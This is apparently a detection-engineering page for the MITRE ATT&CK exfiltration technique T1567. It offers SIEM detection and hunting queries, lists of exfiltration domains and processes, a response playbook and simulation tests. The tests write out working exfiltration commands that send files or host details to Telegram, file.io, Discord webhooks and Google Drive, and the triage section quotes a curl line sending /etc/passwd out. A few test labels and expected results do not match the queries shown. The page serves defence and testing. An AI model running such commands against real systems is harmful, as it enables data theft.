T1567

Exfiltration Over Web Service

Exfiltration Last updated:

Adversaries may use an existing, legitimate external web service to exfiltrate data rather than their primary command and control channel. Popular web services acting as an exfiltration mechanism may give significant cover because hosts within a network are likely already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Observed real-world abuse includes exfiltration to Telegram (Magic Hound, Contagious Interview), cloud storage (APT28 to Google Drive, Exbyte/BlackByte to Mega.co.nz), code repositories, file-sharing services (anonymfiles.com, file.io), and Microsoft Exchange Web Services (OilCheck, SampleCheck5000).

What is T1567 Exfiltration Over Web Service?

Exfiltration Over Web Service (T1567) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Exfiltration Over Web Service, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Technique
T1567 Exfiltration Over Web Service
Canonical reference
https://attack.mitre.org/techniques/T1567/
Microsoft Sentinel / Defender
kusto 
let KnownExfilDomains = dynamic([
  "api.telegram.org",
  "discord.com",
  "discordapp.com",
  "mega.co.nz",
  "mega.nz",
  "file.io",
  "transfer.sh",
  "gofile.io",
  "anonymfiles.com",
  "anonfiles.com",
  "ufile.io",
  "pixeldrain.com",
  "paste.ee",
  "pastebin.com",
  "hastebin.com",
  "rentry.co",
  "ghostbin.com",
  "privatbin.net",
  "ngrok.io",
  "ngrok-free.app",
  "serveo.net"
]);
let CloudStorageDomains = dynamic([
  "content.dropboxapi.com",
  "api.dropboxapi.com",
  "www.googleapis.com",
  "drive.google.com",
  "graph.microsoft.com",
  "onedrive.live.com",
  "api.github.com",
  "gitlab.com",
  "bitbucket.org",
  "s3.amazonaws.com",
  "storage.googleapis.com"
]);
let SuspiciousUploadProcesses = dynamic([
  "curl.exe", "curl", "wget", "wget.exe",
  "powershell.exe", "pwsh.exe",
  "python.exe", "python3", "python3.exe",
  "node.exe", "node",
  "wscript.exe", "cscript.exe",
  "certutil.exe", "bitsadmin.exe"
]);
// Branch 1: Direct connections to known file-sharing / messaging exfil services
let DirectExfilConnections = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType == "ConnectionSuccess"
| where RemoteUrl has_any (KnownExfilDomains) or RemoteIPType == "Public"
| where RemoteUrl has_any (KnownExfilDomains)
| extend ExfilCategory = case(
    RemoteUrl has_any ("telegram"), "Messaging API",
    RemoteUrl has_any ("discord"), "Messaging API",
    RemoteUrl has_any ("mega", "file.io", "transfer.sh", "gofile", "anonymfiles", "anonfiles", "ufile", "pixeldrain"), "File Sharing",
    RemoteUrl has_any ("pastebin", "hastebin", "rentry", "ghostbin", "paste.ee", "privatbin"), "Paste Site",
    RemoteUrl has_any ("ngrok", "serveo"), "Tunnel Service",
    "Other"
  )
| project Timestamp, DeviceName, AccountName,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         InitiatingProcessParentFileName,
         RemoteUrl, RemoteIP, RemotePort, BytesSent, BytesReceived,
         ExfilCategory;
// Branch 2: High-volume uploads to cloud storage from unusual processes
let CloudStorageHighVolume = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType == "ConnectionSuccess"
| where RemoteUrl has_any (CloudStorageDomains)
| where InitiatingProcessFileName in~ (SuspiciousUploadProcesses)
| where BytesSent > 1048576 // > 1MB upload
| extend ExfilCategory = "Cloud Storage Upload"
| project Timestamp, DeviceName, AccountName,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         InitiatingProcessParentFileName,
         RemoteUrl, RemoteIP, RemotePort, BytesSent, BytesReceived,
         ExfilCategory;
// Branch 3: Aggregate large data sent to any single public IP from scripting engines
let AggregatedExfilAttempts = DeviceNetworkEvents
| where Timestamp > ago(1h)
| where ActionType == "ConnectionSuccess"
| where RemoteIPType == "Public"
| where InitiatingProcessFileName in~ (SuspiciousUploadProcesses)
| summarize TotalBytesSent=sum(BytesSent), TotalBytesReceived=sum(BytesReceived),
            ConnectionCount=count(), UniqueRemoteIPs=dcount(RemoteIP)
            by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, bin(Timestamp, 1h)
| where TotalBytesSent > 10485760 // > 10MB total in 1 hour
| extend ExfilCategory = "Bulk Upload Detected"
| project Timestamp, DeviceName, AccountName,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         TotalBytesSent, TotalBytesReceived, ConnectionCount, UniqueRemoteIPs,
         ExfilCategory;
union DirectExfilConnections, CloudStorageHighVolume
| union (AggregatedExfilAttempts | extend RemoteUrl="", RemoteIP="", RemotePort=0, BytesSent=TotalBytesSent, BytesReceived=TotalBytesReceived)
| sort by Timestamp desc

Detects exfiltration over legitimate web services using Microsoft Defender for Endpoint DeviceNetworkEvents. Three-branch detection: (1) Direct connections from any process to known file-sharing, messaging API, paste site, or tunnel domains including Telegram, Discord, Mega, file.io, transfer.sh, pastebin, and ngrok. (2) High-volume uploads (>1MB) to cloud storage services (Google Drive, OneDrive, Dropbox, GitHub) initiated by scripting engines or command-line tools. (3) Aggregate bulk data transfer (>10MB in 1 hour) to public IPs from scripting processes. Uses BytesSent for upload volume correlation.

high severity medium confidence

Data Sources

Network Traffic: Network Connection Creation Network Traffic: Network Traffic Flow Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents

False Positives

  • Developers legitimately pushing code to GitHub, GitLab, or Bitbucket from workstations — especially large repositories or LFS objects
  • IT automation scripts (SCCM, Intune, Ansible) uploading diagnostics or configuration files to cloud storage like OneDrive or S3
  • Employees using Telegram, Discord, or Slack Desktop apps to share work files — the initiating process may be a browser or Electron app
  • Backup agents uploading to cloud storage providers (Dropbox, OneDrive, Google Drive sync clients) which generate continuous high-volume traffic
  • Security tools or monitoring agents sending telemetry to SaaS platforms with large payloads

Sigma rule & cross-platform mapping

The detection logic for Exfiltration Over Web Service (T1567) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1567 Sigma rules on detection.fyi

Platform-specific guides for T1567

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-21 Research depth: deep
References (4)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Exfiltrate file via Telegram Bot API (curl)

    Expected signal: Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing 'api.telegram.org' and 'sendDocument'. Sysmon Event ID 3: Network Connection to api.telegram.org:443 (resolves to Telegram's IP range). Sysmon Event ID 11: File Create for exfil-test.txt in %TEMP%.

  2. Test 2Upload staged archive to file-sharing service (file.io)

    Expected signal: Sysmon for Linux (if deployed) Event ID 11: File Create for exfil-staging.tar.gz in /tmp. Sysmon Event ID 3: Network connection to file.io:443. Auditd syscall events for open/write (archive creation) and connect (curl network call). Process accounting records for tar and curl executions.

  3. Test 3Exfiltrate data via Discord webhook (PowerShell)

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks' and 'Invoke-RestMethod'. Sysmon Event ID 3: Network Connection to discord.com:443 from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full webhook POST script including the URL and payload body.

  4. Test 4Bulk data upload to cloud storage via Python requests (Google Drive simulation)

    Expected signal: Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'googleapis.com' and '/upload/drive/v3'. Sysmon Event ID 3: Network Connection to www.googleapis.com:443 from python.exe. BytesSent will reflect the ~51KB payload even on 401 response (data is transmitted before auth rejection). Security Event ID 4688 if command line auditing enabled.

Response Playbook

Triage

  1. Identify the initiating process: is this a scripting engine (python, PowerShell, curl), a browser, or a known sync client? Scripts and CLI tools making API connections to file-sharing services warrant highest priority vs. browser-based uploads by known users.
  2. Examine the full command line for API tokens, bot tokens, or authentication headers inline — e.g., `curl -H 'Authorization: Bearer TOKEN' https://api.telegram.org/bot<TOKEN>/sendDocument -F document=@/etc/passwd`. Presence of embedded credentials indicates deliberate automation.
  3. Correlate with file access before upload: search DeviceFileEvents (KQL) or Sysmon Event ID 11 in the 30 minutes before the network connection for the same process — what files were opened or staged? Look for access to sensitive paths (Documents, Desktop, database files, credential stores, /etc/, /home/).
  4. Check BytesSent volume: a few KB may be a status beacon; tens of MB or GB indicates bulk data theft. For Telegram API specifically, `sendDocument` with large attachments (up to 50MB) or `sendMediaGroup` batches are strong exfiltration indicators.
  5. Determine user context: is this a service account, developer, or standard business user? Was there a helpdesk ticket or change request authorizing this data transfer? Check for after-hours timing (nights, weekends) which correlates with adversary activity.
  6. Pivot to the parent process: what spawned the uploading process? If a legitimate application (Word, browser, Outlook) spawned python.exe or curl.exe, that is a strong indicator of a malicious macro, supply chain compromise, or injected code.

Containment

  1. Immediately isolate the endpoint via EDR network isolation if large-scale data exfiltration is confirmed or if an embedded API token (Telegram bot token, OAuth token) is found in process command line — adversary may be actively pulling data.
  2. Block the destination domain or IP at the proxy, DNS resolver, and perimeter firewall for the duration of the investigation. For Telegram exfiltration, blocking api.telegram.org prevents continued exfiltration but also blocks legitimate Telegram users — document the business impact before applying broadly.
  3. Revoke any API tokens or OAuth credentials found in process command lines or environment variables immediately — report the token to the service provider (GitHub, Google, Telegram, Discord) so they can invalidate it on their end.
  4. If cloud storage (Google Drive, OneDrive, Dropbox) was used, revoke OAuth app permissions for the compromised account via the respective admin console and audit shared files for unauthorized recipients.
  5. Disable the compromised user account and terminate all active sessions (SSO, cloud console, VPN) pending investigation — especially if credential access is suspected as a precursor to the exfiltration.
  6. Preserve volatile memory and disk image of the affected system before remediation — the exfiltration tool, staging directory, and any dropped payloads are forensic evidence.

Evidence Collection

  1. Network proxy logs for the source host around the exfiltration window — look for HTTP POST or PUT requests with large Content-Length values to the destination domain, and capture any URI paths that reveal API endpoints used (e.g., /bot<TOKEN>/sendDocument on api.telegram.org).
  2. DNS query logs: resolve the destination hostname history to confirm when the host first contacted the exfil service — pre-dates the alert may indicate longer dwell time or staging.
  3. Sysmon Event ID 3 (Network Connection) — captures destination IP, port, and process image and command line at time of connection.
  4. Sysmon Event ID 11 (File Create) — identifies files staged in temp directories (%TEMP%, /tmp) before upload; adversaries commonly stage archives (zip, tar, 7z) before sending.
  5. Sysmon Event ID 1 (Process Create) — full command line of the upload process including any embedded tokens, filenames, or destination paths.
  6. File system artifacts: enumerate the staging directory used. On Windows check %TEMP%, %APPDATA%, C:\ProgramData. On Linux check /tmp, /var/tmp, /dev/shm. Look for archives or files with names inconsistent with the application context.
  7. Browser history and download logs (if upload was browser-initiated) — History, Cookies, and WebData SQLite databases from Chrome/Firefox profile directories.
  8. Cloud service audit logs: if the destination was a corporate cloud tenant (OneDrive, Google Workspace, GitHub org), pull admin audit logs for the account to see what was uploaded and shared — this also reveals if data was shared externally.

Escalation Criteria

  • ! Confirmed large-scale data staging: compressed archive (>100MB) created in temp directory and subsequently uploaded to file-sharing or messaging service.
  • ! Embedded API token or bot token found in process command line connecting to Telegram, Discord, or another messaging API — this is purpose-built exfiltration tooling, not accidental.
  • ! Cloud storage OAuth token captured by malware: process accessed token cache files (e.g., `~/.config/google-cloud/`, Chrome Login Data, Windows Credential Manager) and subsequently connected to cloud storage API.
  • ! Exfiltration from a privileged account (Domain Admin, service account with broad filesystem access, DBA account) — blast radius is highest for these identities.
  • ! Evidence that the exfiltration destination is adversary-controlled (bot token in Telegram, attacker-owned S3 bucket, GitHub repo created within 24h of incident) rather than a corporate or personal account.
  • ! Multiple endpoints in the same time window sending data to the same exfil destination — indicates automated/worm-like propagation or a shared C2 infrastructure.

Investigation Guide

Forensic Artifacts

  • > Windows: Prefetch files for curl.exe, python.exe, powershell.exe — C:\Windows\Prefetch\*.pf — contain execution timestamps and referenced file paths including staged data files.
  • > Windows: Browser history databases (Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\History, Firefox: %APPDATA%\Mozilla\Firefox\Profiles\*.default\places.sqlite) — if upload was via browser drag-and-drop or file picker.
  • > Windows: PowerShell ScriptBlock Logs (Event ID 4104) — full deobfuscated content of any PowerShell-based upload scripts including embedded API keys.
  • > Windows: NTFS $MFT and $LogFile — file creation/deletion timestamps for staged archives; adversaries often delete archives post-upload but MFT entries persist.
  • > Linux/macOS: ~/.bash_history or ~/.zsh_history — curl/wget commands with API tokens or upload URLs may be logged if history was not explicitly cleared.
  • > Linux/macOS: /proc/<pid>/cmdline (if process still running) and /proc/<pid>/net/tcp — active connection state for in-progress exfiltration.
  • > Network: SSL/TLS certificate pinning logs — some proxies log the certificate presented by the destination; api.telegram.org and mega.nz have distinct certificate fingerprints.
  • > Cloud: OAuth token files on disk — ~/.config/gcloud/credentials.db, %APPDATA%\Dropbox\*.db, Chrome's Login Data and Token Service database — adversary may have harvested these to authenticate to cloud storage as the victim.

Tuning Guidance

The highest-volume false positive source is legitimate cloud storage sync clients (Dropbox, OneDrive, Google Drive) which generate continuous high-volume connections that match Branch 2. Exclude these by allowlisting known sync client process names and their installation paths (e.g., Dropbox.exe from C:\Program Files (x86)\Dropbox\, OneDrive.exe from %LOCALAPPDATA%\Microsoft\OneDrive\). Do NOT simply exclude the destination domain — only the specific signed, known-good process should be excluded. For developer environments, GitHub/GitLab connections from git.exe or ssh.exe are expected. Create allowlist entries scoped to `git.exe` or `ssh.exe` with destinations of api.github.com or gitlab.com only — do not broadly allow the domain for all processes. For Telegram and Discord, the high-risk pattern is a headless script (python, curl, PowerShell) making API calls, not the desktop application binary (Telegram.exe, Discord.exe) which is expected. Tune by requiring InitiatingProcessFileName to be a scripting engine before alerting on Messaging API connections. For BytesSent-based thresholds, baseline your environment: run the aggregate query over 30 days to determine the 95th percentile daily upload volume per process type per host. Set thresholds 3x above this baseline. Servers running backup jobs will show outlier volumes — exclude by hostname group or OU. For the archive-then-exfiltrate hunting query, the transaction-based correlation generates false positives from backup software that compresses then uploads. Reduce by requiring the creating process and the uploading process to be the same or from the same parent process tree.

Hunting Queries

Hunt for scripting engines and CLI tools (curl, wget, python, node) making large outbound data transfers (>5MB/day) to public internet destinations. These tools are not typically responsible for large uploads in standard environments and are commonly used in exfiltration tooling. High TotalBytesSent from these processes warrants investigation regardless of destination domain.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where ActionType == "ConnectionSuccess"
| where RemoteIPType == "Public"
| where InitiatingProcessFileName in~ ("curl.exe", "curl", "wget", "wget.exe", "python.exe", "python3.exe", "python3", "node.exe", "node")
| summarize TotalBytesSent=sum(BytesSent), TotalBytesReceived=sum(BytesReceived),
            ConnectionCount=count(), UniqueDestinations=dcount(RemoteUrl),
            Destinations=make_set(RemoteUrl, 10)
            by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, bin(Timestamp, 1d)
| where TotalBytesSent > 5242880 // >5MB/day
| sort by TotalBytesSent desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (Image="*\\curl.exe" OR Image="*\\wget.exe" OR Image="*\\python*.exe" OR Image="*\\node.exe")
  NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| bucket span=1d _time
| stats sum(eval(if(isnum(NetworkSentBytes), NetworkSentBytes, 0))) as TotalBytesSent,
        count as ConnectionCount,
        dc(DestinationHostname) as UniqueDestinations,
        values(DestinationHostname) as Destinations
        by _time, host, User, Image, CommandLine
| where TotalBytesSent > 5242880
| sort - TotalBytesSent

Hunt for command-line tools with explicit exfiltration domain names or Telegram Bot API methods in their command line arguments. This catches cases where an adversary scripts exfiltration using curl/wget/PowerShell with hardcoded bot tokens, upload URLs, or file-sharing API endpoints. Extremely low false positive rate — legitimate use cases rarely embed these domain patterns in scripts deployed to endpoints.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("curl.exe", "curl", "wget", "wget.exe")
| where ProcessCommandLine has_any (
    "api.telegram.org", "t.me",
    "discord.com/api", "discordapp.com",
    "mega.co.nz", "mega.nz",
    "file.io", "transfer.sh", "gofile.io",
    "anonymfiles", "anonfiles",
    "pastebin.com", "hastebin",
    "ngrok", "serveo.net",
    "sendDocument", "sendMessage", "sendPhoto"
  )
| project Timestamp, DeviceName, AccountName,
         ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\curl.exe" OR Image="*\\wget.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\python*.exe")
  (CommandLine="*api.telegram.org*" OR CommandLine="*discord.com/api*" OR CommandLine="*mega.co.nz*" OR
   CommandLine="*mega.nz*" OR CommandLine="*file.io*" OR CommandLine="*transfer.sh*" OR
   CommandLine="*anonymfiles*" OR CommandLine="*anonfiles*" OR CommandLine="*pastebin.com*" OR
   CommandLine="*ngrok*" OR CommandLine="*sendDocument*" OR CommandLine="*sendMessage*")
| table _time, host, User, Image, CommandLine, ParentImage, ParentCommandLine
| sort - _time

Hunt for the archive-then-exfiltrate pattern: a compressed archive created in a temp or staging directory followed within 10 minutes by an outbound network connection with significant data sent. This two-event correlation catches adversaries who stage data (zip/tar/7z) before uploading to cloud services, file-sharing sites, or C2 infrastructure. Reduces noise vs. monitoring either event type in isolation.

Hunting — KQL
kql 
let StagingExtensions = dynamic([".zip", ".7z", ".tar", ".gz", ".rar", ".bz2", ".tar.gz"]);
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FolderPath has_any (@"C:\Users", @"C:\ProgramData", @"C:\Windows\Temp", "/tmp", "/var/tmp", "/dev/shm")
| where FileName has_any (StagingExtensions)
| where FileSize > 1048576 // > 1MB archives
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where ActionType == "ConnectionSuccess"
    | where RemoteIPType == "Public"
    | project NetworkTimestamp=Timestamp, DeviceName, NetworkProcess=InitiatingProcessFileName,
             NetworkCmdLine=InitiatingProcessCommandLine, RemoteUrl, BytesSent
  ) on DeviceName
| where NetworkTimestamp between (Timestamp .. (Timestamp + 10m))
| where BytesSent > 1048576
| project FileTimestamp=Timestamp, NetworkTimestamp, DeviceName, AccountName,
         FileName, FileSize, FolderPath, NetworkProcess, NetworkCmdLine, RemoteUrl, BytesSent
| sort by FileTimestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval event_type=case(EventCode=11, "file", EventCode=3, "network", 1=1, "other")
| where event_type IN ("file", "network")
| eval TargetFilename=if(event_type="file", TargetFilename, null())
| eval DestinationHostname=if(event_type="network", DestinationHostname, null())
| eval is_archive=if(event_type="file" AND match(lower(TargetFilename), "\.(zip|7z|tar|gz|rar|bz2)") AND match(TargetFilename, "(Temp|tmp|AppData|ProgramData|/tmp|/var/tmp)"), 1, 0)
| eval is_exfil_net=if(event_type="network" AND NOT match(DestinationIp, "(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"), 1, 0)
| transaction host maxspan=15m startswith="is_archive=1" endswith="is_exfil_net=1"
| where eventcount > 1
| table _time, host, User, TargetFilename, DestinationHostname, Image, CommandLine
| sort - _time

Atomic Red Team Tests

Test 1 Exfiltrate file via Telegram Bot API (curl)
windows

Simulates Magic Hound and Contagious Interview TTP: uses curl to POST a file to a Telegram Bot API sendDocument endpoint. This is one of the most commonly observed web-service exfiltration patterns. A real attacker would use a valid bot token; this test uses a syntactically correct but invalid token to generate the process and network events without actually exfiltrating data. The connection attempt to api.telegram.org will fail with a 401 Unauthorized, but all detection-relevant telemetry (process creation, network connection, command line with api.telegram.org domain) will be generated.

Command

powershell 
echo "Sensitive data simulation" > %TEMP%\exfil-test.txt && curl -s -X POST "https://api.telegram.org/bot123456789:AAFakeTokenForTestingOnly/sendDocument" -F chat_id=123456789 -F document=@%TEMP%\exfil-test.txt

Cleanup

powershell 
del %TEMP%\exfil-test.txt

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing 'api.telegram.org' and 'sendDocument'. Sysmon Event ID 3: Network Connection to api.telegram.org:443 (resolves to Telegram's IP range). Sysmon Event ID 11: File Create for exfil-test.txt in %TEMP%.

Expected Detection

KQL Branch 1 fires: RemoteUrl contains 'api.telegram.org', ExfilCategory='Messaging API'. SPL fires: DestinationHostname='api.telegram.org', ExfilCategory='Messaging API - Telegram', RiskLevel='HIGH' (curl.exe is in SuspiciousProcess list).

Test 2 Upload staged archive to file-sharing service (file.io)
linux

Simulates BlackByte/Exbyte TTP: creates a test archive in the temp directory and uploads it to a public file-sharing service using curl. This replicates the archive-then-exfiltrate pattern observed in ransomware pre-encryption data theft operations. file.io is a one-time file-sharing service commonly abused for exfiltration (single-use link, auto-deletes after download). The file is a benign text archive with no sensitive content.

Command

bash 
echo 'Simulated sensitive document content' > /tmp/test-doc.txt && tar -czf /tmp/exfil-staging.tar.gz /tmp/test-doc.txt && curl -s -F "file=@/tmp/exfil-staging.tar.gz" https://file.io

Cleanup

bash 
rm -f /tmp/test-doc.txt /tmp/exfil-staging.tar.gz

Expected Telemetry

Sysmon for Linux (if deployed) Event ID 11: File Create for exfil-staging.tar.gz in /tmp. Sysmon Event ID 3: Network connection to file.io:443. Auditd syscall events for open/write (archive creation) and connect (curl network call). Process accounting records for tar and curl executions.

Expected Detection

KQL Branch 1 fires: RemoteUrl contains 'file.io', ExfilCategory='File Sharing'. SPL fires: DestinationHostname='file.io', ExfilCategory='File Sharing Service', RiskLevel='HIGH'. Archive-then-exfiltrate hunting query correlates Sysmon EventCode=11 (.tar.gz in /tmp) with EventCode=3 (connection to file.io within 15 minutes).

Test 3 Exfiltrate data via Discord webhook (PowerShell)
windows

Simulates T1567.004 webhook abuse pattern: uses PowerShell Invoke-RestMethod to POST data to a Discord webhook URL. Discord webhooks are increasingly used by commodity malware and infostealers (RedLine, Vidar, various RATs) to exfiltrate credentials, system information, and screenshots directly to an adversary-controlled Discord channel. This test uses a syntactically valid but invalid webhook URL — the POST will return 404, but process creation, command line, and network connection telemetry are fully generated.

Command

powershell 
powershell.exe -NoProfile -Command "$body = @{content='Hostname: ' + $env:COMPUTERNAME + ' User: ' + $env:USERNAME + ' Test exfil data'} | ConvertTo-Json; Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/000000000000000000/FakeWebhookTokenForTesting' -Method POST -Body $body -ContentType 'application/json'"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks' and 'Invoke-RestMethod'. Sysmon Event ID 3: Network Connection to discord.com:443 from powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with the full webhook POST script including the URL and payload body.

Expected Detection

KQL Branch 1 fires: RemoteUrl contains 'discord.com', ExfilCategory='Messaging API'. SPL fires: DestinationHostname='discord.com', ExfilCategory='Messaging API - Discord', RiskLevel='HIGH' (powershell.exe is SuspiciousProcess). Secondary PowerShell detection may also trigger on Invoke-RestMethod pattern.

Test 4 Bulk data upload to cloud storage via Python requests (Google Drive simulation)
windows

Simulates APT28-style Google Drive exfiltration: a Python script using the requests library to POST data to a cloud storage API endpoint. This replicates the pattern of adversaries using OAuth tokens stolen from browser credential stores to upload files to cloud services as the victim user. The test uses the googleapis.com domain with a nonsense OAuth token — the request will be rejected (401), but all network and process telemetry fires. This also tests detection of Python-based exfiltration tools vs. curl-based ones.

Command

powershell 
python.exe -c "import urllib.request; req = urllib.request.Request('https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart', data=b'Simulated exfil payload - 50KB+ ' * 1600, headers={'Authorization': 'Bearer ya29.FakeTokenForTestingArgusDetection', 'Content-Type': 'application/octet-stream'}); urllib.request.urlopen(req)" 2>nul || echo Test complete - 401 expected

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'googleapis.com' and '/upload/drive/v3'. Sysmon Event ID 3: Network Connection to www.googleapis.com:443 from python.exe. BytesSent will reflect the ~51KB payload even on 401 response (data is transmitted before auth rejection). Security Event ID 4688 if command line auditing enabled.

Expected Detection

KQL Branch 2 fires if BytesSent > 1MB (adjust payload size in test if needed), or Branch 1 fires if googoleapis.com is in KnownExfilDomains. SPL fires: DestinationHostname='www.googleapis.com', ExfilCategory='Cloud Storage - Google', RiskLevel='HIGH' (python.exe is SuspiciousProcess). Aggregate hunting query fires if >5MB total sent by python.exe in the observation window.

Related Detections

Tactic Hub

TA0010Exfiltration

Sub-techniques (4)

Related Techniques

T1567.001Exfiltration to Code RepositoryT1567.002Exfiltration to Cloud StorageT1567.003Exfiltration to Text Storage SitesT1567.004Exfiltration Over WebhookT1020Automated ExfiltrationT1074.001Local Data StagingT1560.001Archive via UtilityT1005Data from Local SystemT1041Exfiltration Over C2 ChannelT1071.001Web ProtocolsT1102Web Service

Same Tactic: Exfiltration

Popular Detections